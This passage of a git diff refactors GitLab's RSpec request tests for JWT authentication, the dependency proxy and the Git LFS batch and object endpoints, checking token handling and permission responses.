+ expect(response).to have_gitlab_http_status(:unauthorized)
+ expect(response.body).to include('You must use a personal access token with \'api\' scope for Git over HTTP')
+ end
+ end
+
+ context 'with personal token' do
+ let(:access_token) { create(:personal_access_token, user: user) }
+ let(:headers) { { authorization: credentials(user.username, access_token.token) } }
+
+ it 'accepts the authorization attempt' do
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
end
- it { expect(service_class).to have_received(:new).with(nil, user, service_parameters) }
+ it 'does not cause session based checks to be activated' do
+ expect(Gitlab::Session).not_to receive(:with_session)
+
+ get '/jwt/auth', params: parameters, headers: headers
- it_behaves_like 'user logging'
+ expect(response).to have_gitlab_http_status(:ok)
+ end
end
- context 'when user has 2FA enabled' do
- let(:user) { create(:user, :two_factor) }
+ context 'using invalid login' do
+ let(:headers) { { authorization: credentials('invalid', 'password') } }
- context 'without personal token' do
+ context 'when internal auth is enabled' do
it 'rejects the authorization attempt' do
+ get '/jwt/auth', params: parameters, headers: headers
+
expect(response).to have_gitlab_http_status(:unauthorized)
- expect(response.body).to include('You must use a personal access token with \'api\' scope for Git over HTTP')
+ expect(response.body).not_to include('You must use a personal access token with \'api\' scope for Git over HTTP')
end
end
- context 'with personal token' do
- let(:access_token) { create(:personal_access_token, user: user) }
- let(:headers) { { authorization: credentials(user.username, access_token.token) } }
+ context 'when internal auth is disabled' do
+ it 'rejects the authorization attempt with personal access token message' do
+ allow_next_instance_of(ApplicationSetting) do |instance|
+ allow(instance).to receive(:password_authentication_enabled_for_git?) { false }
+ end
+ get '/jwt/auth', params: parameters, headers: headers
- it 'accepts the authorization attempt' do
- expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ expect(response.body).to include('You must use a personal access token with \'api\' scope for Git over HTTP')
end
end
end
+ end
- it 'does not cause session based checks to be activated' do
- expect(Gitlab::Session).not_to receive(:with_session)
-
- get '/jwt/auth', params: parameters, headers: headers
+ context 'when using unauthenticated request' do
+ it 'accepts the authorization attempt' do
+ get '/jwt/auth', params: parameters
expect(response).to have_gitlab_http_status(:ok)
end
+
+ it 'allows read access' do
+ expect(service).to receive(:execute).with(authentication_abilities: Gitlab::Auth.read_only_authentication_abilities)
+
+ get '/jwt/auth', params: parameters
+ end
end
- context 'using invalid login' do
- let(:headers) { { authorization: credentials('invalid', 'password') } }
+ context 'unknown service' do
+ subject! { get '/jwt/auth', params: { service: 'unknown' } }
- context 'when internal auth is enabled' do
- it 'rejects the authorization attempt' do
- get '/jwt/auth', params: parameters, headers: headers
+ it { expect(response).to have_gitlab_http_status(:not_found) }
+ end
- expect(response).to have_gitlab_http_status(:unauthorized)
- expect(response.body).not_to include('You must use a personal access token with \'api\' scope for Git over HTTP')
- end
- end
+ def credentials(login, password)
+ ActionController::HttpAuthentication::Basic.encode_credentials(login, password)
+ end
+ end
- context 'when internal auth is disabled' do
- it 'rejects the authorization attempt with personal access token message' do
- allow_next_instance_of(ApplicationSetting) do |instance|
- allow(instance).to receive(:password_authentication_enabled_for_git?) { false }
- end
- get '/jwt/auth', params: parameters, headers: headers
+ context 'authenticating against dependency proxy' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :private, group: group) }
+ let_it_be(:group_deploy_token) { create(:deploy_token, :group, groups: [group]) }
+ let_it_be(:project_deploy_token) { create(:deploy_token, :project, projects: [project]) }
+ let_it_be(:service_name) { 'dependency_proxy' }
+ let(:headers) { { authorization: credentials(credential_user, credential_password) } }
+ let(:params) { { account: credential_user, client_id: 'docker', offline_token: true, service: service_name } }
+
+ before do
+ stub_config(dependency_proxy: { enabled: true })
+ end
- expect(response).to have_gitlab_http_status(:unauthorized)
- expect(response.body).to include('You must use a personal access token with \'api\' scope for Git over HTTP')
- end
+ subject { get '/jwt/auth', params: params, headers: headers }
+
+ shared_examples 'with valid credentials' do
+ it 'returns token successfully' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(json_response['token']).to be_present
end
end
- end
- context 'when using unauthenticated request' do
- it 'accepts the authorization attempt' do
- get '/jwt/auth', params: parameters
+ context 'with personal access token' do
+ let(:credential_user) { nil }
+ let(:credential_password) { personal_access_token.token }
- expect(response).to have_gitlab_http_status(:ok)
+ it_behaves_like 'with valid credentials'
end
- it 'allows read access' do
- expect(service).to receive(:execute).with(authentication_abilities: Gitlab::Auth.read_only_authentication_abilities)
+ context 'with user credentials token' do
+ let(:credential_user) { user.username }
+ let(:credential_password) { user.password }
- get '/jwt/auth', params: parameters
+ it_behaves_like 'with valid credentials'
end
- end
- context 'unknown service' do
- subject! { get '/jwt/auth', params: { service: 'unknown' } }
+ context 'with group deploy token' do
+ let(:credential_user) { group_deploy_token.username }
+ let(:credential_password) { group_deploy_token.token }
- it { expect(response).to have_gitlab_http_status(:not_found) }
+ it_behaves_like 'with valid credentials'
+ end
+
+ context 'with project deploy token' do
+ let(:credential_user) { project_deploy_token.username }
+ let(:credential_password) { project_deploy_token.token }
+
+ it_behaves_like 'with valid credentials'
+ end
+
+ context 'with invalid credentials' do
+ let(:credential_user) { 'foo' }
+ let(:credential_password) { 'bar' }
+
+ it 'returns unauthorized' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
end
def credentials(login, password)
diff --git a/spec/requests/lfs_http_spec.rb b/spec/requests/lfs_http_spec.rb
index 48d125a37c3..535d511a459 100644
--- a/spec/requests/lfs_http_spec.rb
+++ b/spec/requests/lfs_http_spec.rb
@@ -6,1179 +6,1145 @@ RSpec.describe 'Git LFS API and storage' do
include ProjectForksHelper
include WorkhorseHelpers
- let_it_be(:project, reload: true) { create(:project, :repository) }
- let_it_be(:other_project) { create(:project, :repository) }
+ let_it_be(:project, reload: true) { create(:project, :empty_repo) }
let_it_be(:user) { create(:user) }
- let(:lfs_object) { create(:lfs_object, :with_file) }
- let(:headers) do
- {
- 'Authorization' => authorization,
- 'X-Sendfile-Type' => 'X-Sendfile'
- }.compact
- end
-
- let(:include_workhorse_jwt_header) { true }
- let(:authorization) { }
- let(:pipeline) { create(:ci_empty_pipeline, project: project) }
+ context 'with projects' do
+ it_behaves_like 'LFS http requests' do
+ let_it_be(:other_project, reload: true) { create(:project, :empty_repo) }
- let(:sample_oid) { lfs_object.oid }
- let(:sample_size) { lfs_object.size }
- let(:sample_object) { { 'oid' => sample_oid, 'size' => sample_size } }
- let(:non_existing_object_oid) { '91eff75a492a3ed0dfcb544d7f31326bc4014c8551849c192fd1e48d4dd2c897' }
- let(:non_existing_object_size) { 1575078 }
- let(:non_existing_object) { { 'oid' => non_existing_object_oid, 'size' => non_existing_object_size } }
- let(:multiple_objects) { [sample_object, non_existing_object] }
+ let(:container) { project }
+ let(:authorize_guest) { project.add_guest(user) }
+ let(:authorize_download) { project.add_reporter(user) }
+ let(:authorize_upload) { project.add_developer(user) }
- let(:lfs_enabled) { true }
+ context 'project specific LFS settings' do
+ let(:body) { upload_body(sample_object) }
- before do
- stub_lfs_setting(enabled: lfs_enabled)
- end
+ before do
+ authorize_upload
+ project.update_attribute(:lfs_enabled, project_lfs_enabled)
- context 'project specific LFS settings' do
- let(:body) { upload_body(sample_object) }
- let(:authorization) { authorize_user }
+ subject
+ end
- before do
- project.add_maintainer(user)
- project.update_attribute(:lfs_enabled, project_lfs_enabled)
+ describe 'LFS disabled in project' do
+ let(:project_lfs_enabled) { false }
- subject
- end
+ context 'when uploading' do
+ subject(:request) { post_lfs_json(batch_url(project), body, headers) }
- describe 'LFS disabled in project' do
- let(:project_lfs_enabled) { false }
+ it_behaves_like 'LFS http 404 response'
+ end
- context 'when uploading' do
- subject { post_lfs_json(batch_url(project), body, headers) }
+ context 'when downloading' do
+ subject(:request) { get(objects_url(project, sample_oid), params: {}, headers: headers) }
- it_behaves_like 'LFS http 404 response'
- end
+ it_behaves_like 'LFS http 404 response'
+ end
+ end
- context 'when downloading' do
- subject { get(objects_url(project, sample_oid), params: {}, headers: headers) }
+ describe 'LFS enabled in project' do
+ let(:project_lfs_enabled) { true }
- it_behaves_like 'LFS http 404 response'
- end
- end
+ context 'when uploading' do
+ subject(:request) { post_lfs_json(batch_url(project), body, headers) }
- describe 'LFS enabled in project' do
- let(:project_lfs_enabled) { true }
+ it_behaves_like 'LFS http 200 response'
+ end
- context 'when uploading' do
- subject { post_lfs_json(batch_url(project), body, headers) }
+ context 'when downloading' do
+ subject(:request) { get(objects_url(project, sample_oid), params: {}, headers: headers) }
- it_behaves_like 'LFS http 200 response'
+ it_behaves_like 'LFS http 200 blob response'
+ end
+ end
end
- context 'when downloading' do
- subject { get(objects_url(project, sample_oid), params: {}, headers: headers) }
+ describe 'when fetching LFS object' do
+ subject(:request) { get objects_url(project, sample_oid), params: {}, headers: headers }
- it_behaves_like 'LFS http 200 blob response'
- end
- end
- end
+ let(:response) { request && super() }
- describe 'when fetching LFS object' do
- let(:update_permissions) { }
- let(:before_get) { }
+ before do
+ project.lfs_objects << lfs_object
+ end
- before do
- project.lfs_objects << lfs_object
- update_permissions
- before_get
+ context 'when LFS uses object storage' do
+ before do
+ authorize_download
+ end
- get objects_url(project, sample_oid), params: {}, headers: headers
- end
+ context 'when proxy download is enabled' do
+ before do
+ stub_lfs_object_storage(proxy_download: true)
+ lfs_object.file.migrate!(LfsObjectUploader::Store::REMOTE)
+ end
- context 'when LFS uses object storage' do
- let(:authorization) { authorize_user }
+ it 'responds with the workhorse send-url' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.headers[Gitlab::Workhorse::SEND_DATA_HEADER]).to start_with("send-url:")
+ end
+ end
- let(:update_permissions) do
- project.add_maintainer(user)
- end
+ context 'when proxy download is disabled' do
+ before do
+ stub_lfs_object_storage(proxy_download: false)
+ lfs_object.file.migrate!(LfsObjectUploader::Store::REMOTE)
+ end
- context 'when proxy download is enabled' do
- let(:before_get) do
- stub_lfs_object_storage(proxy_download: true)
- lfs_object.file.migrate!(LfsObjectUploader::Store::REMOTE)
- end
+ it 'responds with redirect' do
+ expect(response).to have_gitlab_http_status(:found)
+ end
- it 'responds with the workhorse send-url' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers[Gitlab::Workhorse::SEND_DATA_HEADER]).to start_with("send-url:")
+ it 'responds with the file location' do
+ expect(response.location).to include(lfs_object.reload.file.path)
+ end
+ end
end
- end
- context 'when proxy download is disabled' do
- let(:before_get) do
- stub_lfs_object_storage(proxy_download: false)
- lfs_object.file.migrate!(LfsObjectUploader::Store::REMOTE)
- end
+ context 'when deploy key is authorized' do
+ let_it_be(:key) { create(:deploy_key) }
+ let(:authorization) { authorize_deploy_key }
- it 'responds with redirect' do
- expect(response).to have_gitlab_http_status(:found)
- end
+ before do
+ project.deploy_keys << key
+ end
- it 'responds with the file location' do
- expect(response.location).to include(lfs_object.reload.file.path)
+ it_behaves_like 'LFS http 200 blob response'
end
- end
- end
- context 'when deploy key is authorized' do
- let(:key) { create(:deploy_key) }
- let(:authorization) { authorize_deploy_key }
+ context 'when using a user key (LFSToken)' do
+ let(:authorization) { authorize_user_key }
- let(:update_permissions) do
- project.deploy_keys << key
- end
+ context 'when user allowed' do
+ before do
+ authorize_download
+ end
- it_behaves_like 'LFS http 200 blob response'
- end
+ it_behaves_like 'LFS http 200 blob response'
- context 'when using a user key (LFSToken)' do
- let(:authorization) { authorize_user_key }
+ context 'when user password is expired' do
+ let_it_be(:user) { create(:user, password_expires_at: 1.minute.ago)}
- context 'when user allowed' do
- let(:update_permissions) do
- project.add_maintainer(user)
- end
+ it_behaves_like 'LFS http 401 response'
+ end
- it_behaves_like 'LFS http 200 blob response'
+ context 'when user is blocked' do
+ let_it_be(:user) { create(:user, :blocked)}
- context 'when user password is expired' do
- let(:user) { create(:user, password_expires_at: 1.minute.ago)}
+ it_behaves_like 'LFS http 401 response'
+ end
+ end
- it_behaves_like 'LFS http 401 response'
+ context 'when user not allowed' do
+ it_behaves_like 'LFS http 404 response'
+ end
end
- context 'when user is blocked' do
- let(:user) { create(:user, :blocked)}
+ context 'when build is authorized as' do
+ let(:authorization) { authorize_ci_project }
+ let(:pipeline) { create(:ci_empty_pipeline, project: project) }
+ let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
- it_behaves_like 'LFS http 401 response'
- end
- end
+ shared_examples 'can download LFS only from own projects' do
+ context 'for owned project' do
+ let_it_be(:project) { create(:project, namespace: user.namespace) }
- context 'when user not allowed' do
- it_behaves_like 'LFS http 404 response'
- end
- end
+ it_behaves_like 'LFS http 200 blob response'
+ end
- context 'when build is authorized as' do
- let(:authorization) { authorize_ci_project }
+ context 'for member of project' do
+ before do
+ authorize_download
+ end
- shared_examples 'can download LFS only from own projects' do
- context 'for owned project' do
- let(:project) { create(:project, namespace: user.namespace) }
+ it_behaves_like 'LFS http 200 blob response'
+ end
- it_behaves_like 'LFS http 200 blob response'
- end
+ context 'for other project' do
+ let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
- context 'for member of project' do
- let(:pipeline) { create(:ci_empty_pipeline, project: project) }
+ it 'rejects downloading code' do
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ context 'administrator', :enable_admin_mode do
+ let_it_be(:user) { create(:admin) }
- let(:update_permissions) do
- project.add_reporter(user)
+ it_behaves_like 'can download LFS only from own projects'
end
- it_behaves_like 'LFS http 200 blob response'
- end
+ context 'regular user' do
+ it_behaves_like 'can download LFS only from own projects'
+ end
- context 'for other project' do
- let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
+ context 'does not have user' do
+ let(:build) { create(:ci_build, :running, pipeline: pipeline) }
- it 'rejects downloading code' do
- expect(response).to have_gitlab_http_status(:not_found)
+ it_behaves_like 'can download LFS only from own projects'
end
end
end
- context 'administrator' do
- let(:user) { create(:admin) }
- let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
-
- it_behaves_like 'can download LFS only from own projects'
- end
+ describe 'when handling LFS batch request' do
+ subject(:request) { post_lfs_json batch_url(project), body, headers }
- context 'regular user' do
- let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
+ let(:response) { request && super() }
+ let(:lfs_chunked_encoding) { true }
- it_behaves_like 'can download LFS only from own projects'
- end
+ before do
+ stub_feature_flags(lfs_chunked_encoding: lfs_chunked_encoding)
+ project.lfs_objects << lfs_object
+ end
- context 'does not have user' do
- let(:build) { create(:ci_build, :running, pipeline: pipeline) }
+ shared_examples 'process authorization header' do |renew_authorization:|
+ let(:response_authorization) do
+ authorization_in_action(lfs_actions.first)
+ end
- it_behaves_like 'can download LFS only from own projects'
- end
- end
- end
+ if renew_authorization
+ context 'when the authorization comes from a user' do
+ it 'returns a new valid LFS token authorization' do
+ expect(response_authorization).not_to eq(authorization)
+ end
- describe 'when handling LFS batch request' do
- let(:update_lfs_permissions) { }
- let(:update_user_permissions) { }
+ it 'returns a valid token' do
+ username, token = ::Base64.decode64(response_authorization.split(' ', 2).last).split(':', 2)
- before do
- update_lfs_permissions
- update_user_permissions
- post_lfs_json batch_url(project), body, headers
- end
+ expect(username).to eq(user.username)
+ expect(Gitlab::LfsToken.new(user).token_valid?(token)).to be_truthy
+ end
- shared_examples 'process authorization header' do |renew_authorization:|
- let(:response_authorization) do
- authorization_in_action(lfs_actions.first)
- end
+ it 'generates only one new token per each request' do
+ authorizations = lfs_actions.map do |action|
+ authorization_in_action(action)
+ end.compact
- if renew_authorization
- context 'when the authorization comes from a user' do
- it 'returns a new valid LFS token authorization' do
- expect(response_authorization).not_to eq(authorization)
+ expect(authorizations.uniq.count).to eq 1
+ end
+ end
+ else
+ context 'when the authorization comes from a token' do
+ it 'returns the same authorization header' do
+ expect(response_authorization).to eq(authorization)
+ end
+ end
end
- it 'returns a a valid token' do
- username, token = ::Base64.decode64(response_authorization.split(' ', 2).last).split(':', 2)
-
- expect(username).to eq(user.username)
- expect(Gitlab::LfsToken.new(user).token_valid?(token)).to be_truthy
+ def lfs_actions
+ json_response['objects'].map { |a| a['actions'] }.compact
end
- it 'generates only one new token per each request' do
- authorizations = lfs_actions.map do |action|
- authorization_in_action(action)
- end.compact
-
- expect(authorizations.uniq.count).to eq 1
+ def authorization_in_action(action)
+ (action['upload'] || action['download']).dig('header', 'Authorization')
end
end
- else
- context 'when the authorization comes from a token' do
- it 'returns the same authorization header' do
- expect(response_authorization).to eq(authorization)
- end
- end
- end
-
- def lfs_actions
- json_response['objects'].map { |a| a['actions'] }.compact
- end
- def authorization_in_action(action)
- (action['upload'] || action['download']).dig('header', 'Authorization')
- end
- end
+ describe 'download' do
+ let(:body) { download_body(sample_object) }
- describe 'download' do
- let(:body) { download_body(sample_object) }
+ shared_examples 'an authorized request' do |renew_authorization:|
+ context 'when downloading an LFS object that is assigned to our project' do
+ it_behaves_like 'LFS http 200 response'
- shared_examples 'an authorized request' do |renew_authorization:|
- context 'when downloading an LFS object that is assigned to our project' do
- let(:update_lfs_permissions) do
- project.lfs_objects << lfs_object
- end
+ it 'with href to download' do
+ expect(json_response['objects'].first).to include(sample_object)
+ expect(json_response['objects'].first['actions']['download']['href']).to eq(objects_url(project, sample_oid))
+ end
- it_behaves_like 'LFS http 200 response'
+ it_behaves_like 'process authorization header', renew_authorization: renew_authorization
+ end
- it 'with href to download' do
- expect(json_response['objects'].first).to include(sample_object)
- expect(json_response['objects'].first['actions']['download']['href']).to eq(objects_url(project, sample_oid))
- end
+ context 'when downloading an LFS object that is assigned to other project' do
+ before do
+ lfs_object.update!(projects: [other_project])
+ end
- it_behaves_like 'process authorization header', renew_authorization: renew_authorization
- end
+ it_behaves_like 'LFS http 200 response'
- context 'when downloading an LFS object that is assigned to other project' do
- let(:update_lfs_permissions) do
- other_project.lfs_objects << lfs_object
- end
+ it 'with an 404 for specific object' do
+ expect(json_response['objects'].first).to include(sample_object)
+ expect(json_response['objects'].first['error']).to include('code' => 404, 'message' => "Object does not exist on the server or you don't have permissions to access it")
+ end
+ end
- it_behaves_like 'LFS http 200 response'
+ context 'when downloading a LFS object that does not exist' do
+ let(:body) { download_body(non_existing_object) }
- it 'with an 404 for specific object' do
- expect(json_response['objects'].first).to include(sample_object)
- expect(json_response['objects'].first['error']).to include('code' => 404, 'message' => "Object does not exist on the server or you don't have permissions to access it")
- end
- end
+ it_behaves_like 'LFS http 200 response'
- context 'when downloading a LFS object that does not exist' do
- let(:body) { download_body(non_existing_object) }
+ it 'with an 404 for specific object' do
+ expect(json_response['objects'].first).to include(non_existing_object)
+ expect(json_response['objects'].first['error']).to include('code' => 404, 'message' => "Object does not exist on the server or you don't have permissions to access it")
+ end
+ end
- it_behaves_like 'LFS http 200 response'
+ context 'when downloading one existing and one missing LFS object' do
+ let(:body) { download_body(multiple_objects) }
- it 'with an 404 for specific object' do
- expect(json_response['objects'].first).to include(non_existing_object)
- expect(json_response['objects'].first['error']).to include('code' => 404, 'message' => "Object does not exist on the server or you don't have permissions to access it")
- end
- end
+ it_behaves_like 'LFS http 200 response'
- context 'when downloading one new and one existing LFS object' do
- let(:body) { download_body(multiple_objects) }
- let(:update_lfs_permissions) do
- project.lfs_objects << lfs_object
- end
+ it 'responds with download hypermedia link for the existing object' do
+ expect(json_response['objects'].first).to include(sample_object)
+ expect(json_response['objects'].first['actions']['download']).to include('href' => objects_url(project, sample_oid))
+ expect(json_response['objects'].last).to eq({
+ 'oid' => non_existing_object_oid,
+ 'size' => non_existing_object_size,
+ 'error' => {
+ 'code' => 404,
+ 'message' => "Object does not exist on the server or you don't have permissions to access it"
+ }
+ })
+ end
- it_behaves_like 'LFS http 200 response'
+ it_behaves_like 'process authorization header', renew_authorization: renew_authorization
+ end
- it 'responds with download hypermedia link for the new object' do
- expect(json_response['objects'].first).to include(sample_object)
- expect(json_response['objects'].first['actions']['download']).to include('href' => objects_url(project, sample_oid))
- expect(json_response['objects'].last).to eq({
- 'oid' => non_existing_object_oid,
- 'size' => non_existing_object_size,
- 'error' => {
- 'code' => 404,
- 'message' => "Object does not exist on the server or you don't have permissions to access it"
- }
- })
- end
+ context 'when downloading two existing LFS objects' do
+ let(:body) { download_body(multiple_objects) }
+ let(:other_object) { create(:lfs_object, :with_file, oid: non_existing_object_oid, size: non_existing_object_size) }
- it_behaves_like 'process authorization header', renew_authorization: renew_authorization
- end
+ before do
+ project.lfs_objects << other_object
+ end
- context 'when downloading two existing LFS objects' do
- let(:body) { download_body(multiple_objects) }
- let(:other_object) { create(:lfs_object, :with_file, oid: non_existing_object_oid, size: non_existing_object_size) }
- let(:update_lfs_permissions) do
- project.lfs_objects << [lfs_object, other_object]
- end
+ it 'responds with the download hypermedia link for each object' do
+ expect(json_response['objects'].first).to include(sample_object)
+ expect(json_response['objects'].first['actions']['download']).to include('href' => objects_url(project, sample_oid))
- it 'responds with the download hypermedia link for each object' do
- expect(json_response['objects'].first).to include(sample_object)
- expect(json_response['objects'].first['actions']['download']).to include('href' => objects_url(project, sample_oid))
+ expect(json_response['objects'].last).to include(non_existing_object)
+ expect(json_response['objects'].last['actions']['download']).to include('href' => objects_url(project, non_existing_object_oid))
+ end
- expect(json_response['objects'].last).to include(non_existing_object)
- expect(json_response['objects'].last['actions']['download']).to include('href' => objects_url(project, non_existing_object_oid))
+ it_behaves_like 'process authorization header', renew_authorization: renew_authorization
+ end
end
- it_behaves_like 'process authorization header', renew_authorization: renew_authorization
- end
- end
+ context 'when user is authenticated' do
+ before do
+ project.add_role(user, role) if role
+ end
- context 'when user is authenticated' do
- let(:authorization) { authorize_user }
+ it_behaves_like 'an authorized request', renew_authorization: true do
+ let(:role) { :reporter }
+ end
- let(:update_user_permissions) do
- project.add_role(user, role)
- end
+ context 'when user is not a member of the project' do
+ let(:role) { nil }
- it_behaves_like 'an authorized request', renew_authorization: true do
- let(:role) { :reporter }
- end
+ it_behaves_like 'LFS http 404 response'
+ end
- context 'when user is not a member of the project' do
- let(:update_user_permissions) { nil }
+ context 'when user does not have download access' do
+ let(:role) { :guest }
- it_behaves_like 'LFS http 404 response'
- end
+ it_behaves_like 'LFS http 404 response'
+ end
- context 'when user does not have download access' do
- let(:role) { :guest }
+ context 'when user password is expired' do
+ let_it_be(:user) { create(:user, password_expires_at: 1.minute.ago)}
+ let(:role) { :reporter}
- it_behaves_like 'LFS http 404 response'
- end
+ # TODO: This should return a 404 response
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/292006
+ it_behaves_like 'LFS http 200 response'
+ end
- context 'when user password is expired' do
- let(:role) { :reporter}
- let(:user) { create(:user, password_expires_at: 1.minute.ago)}
+ context 'when user is blocked' do
+ let_it_be(:user) { create(:user, :blocked)}
+ let(:role) { :reporter}
- it 'with an 404 for specific object' do
- expect(json_response['objects'].first).to include(sample_object)
- expect(json_response['objects'].first['error']).to include('code' => 404, 'message' => "Object does not exist on the server or you don't have permissions to access it")
+ it_behaves_like 'LFS http 401 response'
+ end
end
- end
- context 'when user is blocked' do
- let(:role) { :reporter}
- let(:user) { create(:user, :blocked)}
+ context 'when using Deploy Tokens' do
+ let(:authorization) { authorize_deploy_token }
- it_behaves_like 'LFS http 401 response'
- end
- end
+ context 'when Deploy Token is not valid' do
+ let(:deploy_token) { create(:deploy_token, projects: [project], read_repository: false) }
- context 'when using Deploy Tokens' do
- let(:authorization) { authorize_deploy_token }
- let(:update_user_permissions) { nil }
- let(:role) { nil }
- let(:update_lfs_permissions) do
- project.lfs_objects << lfs_object
- end
+ it_behaves_like 'LFS http 401 response'
+ end
- context 'when Deploy Token is not valid' do
- let(:deploy_token) { create(:deploy_token, projects: [project], read_repository: false) }
+ context 'when Deploy Token is not related to the project' do
+ let(:deploy_token) { create(:deploy_token, projects: [other_project]) }
- it_behaves_like 'LFS http 401 response'
- end
+ it_behaves_like 'LFS http 401 response'
+ end
- context 'when Deploy Token is not related to the project' do
- let(:deploy_token) { create(:deploy_token, projects: [other_project]) }
+ # TODO: We should fix this test case that causes flakyness by alternating the result of the above test cases.
+ context 'when Deploy Token is valid' do
+ let(:deploy_token) { create(:deploy_token, projects: [project]) }
- it_behaves_like 'LFS http 401 response'
- end
+ it_behaves_like 'an authorized request', renew_authorization: false
+ end
+ end
- # TODO: We should fix this test case that causes flakyness by alternating the result of the above test cases.
- context 'when Deploy Token is valid' do
- let(:deploy_token) { create(:deploy_token, projects: [project]) }
+ context 'when build is authorized as' do
+ let(:authorization) { authorize_ci_project }
- it_behaves_like 'an authorized request', renew_authorization: false
- end
- end
+ shared_examples 'can download LFS only from own projects' do |renew_authorization:|
+ context 'for own project' do
+ let(:pipeline) { create(:ci_empty_pipeline, project: project) }
- context 'when build is authorized as' do
- let(:authorization) { authorize_ci_project }
+ before do
+ authorize_download
+ end
- let(:update_lfs_permissions) do
- project.lfs_objects << lfs_object
- end
+ it_behaves_like 'an authorized request', renew_authorization: renew_authorization
+ end
- shared_examples 'can download LFS only from own projects' do |renew_authorization:|
- context 'for own project' do
- let(:pipeline) { create(:ci_empty_pipeline, project: project) }
+ context 'for other project' do
+ let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
- let(:update_user_permissions) do
- project.add_reporter(user)
+ it 'rejects downloading code' do
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
end
- it_behaves_like 'an authorized request', renew_authorization: renew_authorization
- end
-
- context 'for other project' do
- let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
+ context 'administrator', :enable_admin_mode do
+ let_it_be(:user) { create(:admin) }
+ let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
- it 'rejects downloading code' do
- expect(response).to have_gitlab_http_status(:not_found)
+ it_behaves_like 'can download LFS only from own projects', renew_authorization: true
end
- end
- end
- context 'administrator' do
- let(:user) { create(:admin) }
- let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
-
- it_behaves_like 'can download LFS only from own projects', renew_authorization: true
- end
+ context 'regular user' do
+ let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
- context 'regular user' do
- let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
-
- it_behaves_like 'can download LFS only from own projects', renew_authorization: true
- end
+ it_behaves_like 'can download LFS only from own projects', renew_authorization: true
+ end
- context 'does not have user' do
- let(:build) { create(:ci_build, :running, pipeline: pipeline) }
+ context 'does not have user' do
+ let(:build) { create(:ci_build, :running, pipeline: pipeline) }
- it_behaves_like 'can download LFS only from own projects', renew_authorization: false
- end
- end
+ it_behaves_like 'can download LFS only from own projects', renew_authorization: false
+ end
+ end
- context 'when user is not authenticated' do
- describe 'is accessing public project' do
- let(:project) { create(:project, :public) }
+ context 'when user is not authenticated' do
+ let(:authorization) { nil }
- let(:update_lfs_permissions) do
- project.lfs_objects << lfs_object
- end
+ describe 'is accessing public project' do
+ let_it_be(:project) { create(:project, :public) }
- it_behaves_like 'LFS http 200 response'
+ it_behaves_like 'LFS http 200 response'
- it 'returns href to download' do
- expect(json_response).to eq({
- 'objects' => [
- {
- 'oid' => sample_oid,
- 'size' => sample_size,
- 'authenticated' => true,
- 'actions' => {
- 'download' => {
- 'href' => objects_url(project, sample_oid),
- 'header' => {}
+ it 'returns href to download' do
+ expect(json_response).to eq({
+ 'objects' => [
+ {
+ 'oid' => sample_oid,
+ 'size' => sample_size,
+ 'authenticated' => true,
+ 'actions' => {
+ 'download' => {
+ 'href' => objects_url(project, sample_oid),
+ 'header' => {}
+ }
+ }
}
- }
- }
- ]
- })
- end
- end
+ ]
+ })
+ end
+ end
- describe 'is accessing non-public project' do
- let(:update_lfs_permissions) do
- project.lfs_objects << lfs_object
+ describe 'is accessing non-public project' do
+ it_behaves_like 'LFS http 401 response'
+ end
end
-
- it_behaves_like 'LFS http 401 response'
end
- end
- end
-
- describe 'upload' do
- let(:project) { create(:project, :public) }
- let(:body) { upload_body(sample_object) }
- shared_examples 'pushes new LFS objects' do |renew_authorization:|
- let(:sample_size) { 150.megabytes }
- let(:sample_oid) { non_existing_object_oid }
+ describe 'upload' do
+ let_it_be(:project) { create(:project, :public) }
+ let(:body) { upload_body(sample_object) }
- it_behaves_like 'LFS http 200 response'
+ shared_examples 'pushes new LFS objects' do |renew_authorization:|
+ let(:sample_size) { 150.megabytes }
+ let(:sample_oid) { non_existing_object_oid }
- it 'responds with upload hypermedia link' do
- expect(json_response['objects']).to be_kind_of(Array)
- expect(json_response['objects'].first).to include(sample_object)
- expect(json_response['objects'].first['actions']['upload']['href']).to eq(objects_url(project, sample_oid, sample_size))
- expect(json_response['objects'].first['actions']['upload']['header']).to include('Content-Type' => 'application/octet-stream')
- end
-
- it_behaves_like 'process authorization header', renew_authorization: renew_authorization
- end
+ it_behaves_like 'LFS http 200 response'
- describe 'when request is authenticated' do
- describe 'when user has project push access' do
- let(:authorization) { authorize_user }
+ it 'responds with upload hypermedia link' do
+ expect(json_response['objects']).to be_kind_of(Array)
+ expect(json_response['objects'].first).to include(sample_object)
+ expect(json_response['objects'].first['actions']['upload']['href']).to eq(objects_url(project, sample_oid, sample_size))
- let(:update_user_permissions) do
- project.add_developer(user)
- end
+ headers = json_response['objects'].first['actions']['upload']['header']
+ expect(headers['Content-Type']).to eq('application/octet-stream')
+ expect(headers['Transfer-Encoding']).to eq('chunked')
+ end
- context 'when pushing an LFS object that already exists' do
- shared_examples_for 'batch upload with existing LFS object' do
- it_behaves_like 'LFS http 200 response'
+ context 'when lfs_chunked_encoding feature is disabled' do
+ let(:lfs_chunked_encoding) { false }
- it 'responds with links the object to the project' do
+ it 'responds with upload hypermedia link' do
expect(json_response['objects']).to be_kind_of(Array)
expect(json_response['objects'].first).to include(sample_object)
- expect(lfs_object.projects.pluck(:id)).not_to include(project.id)
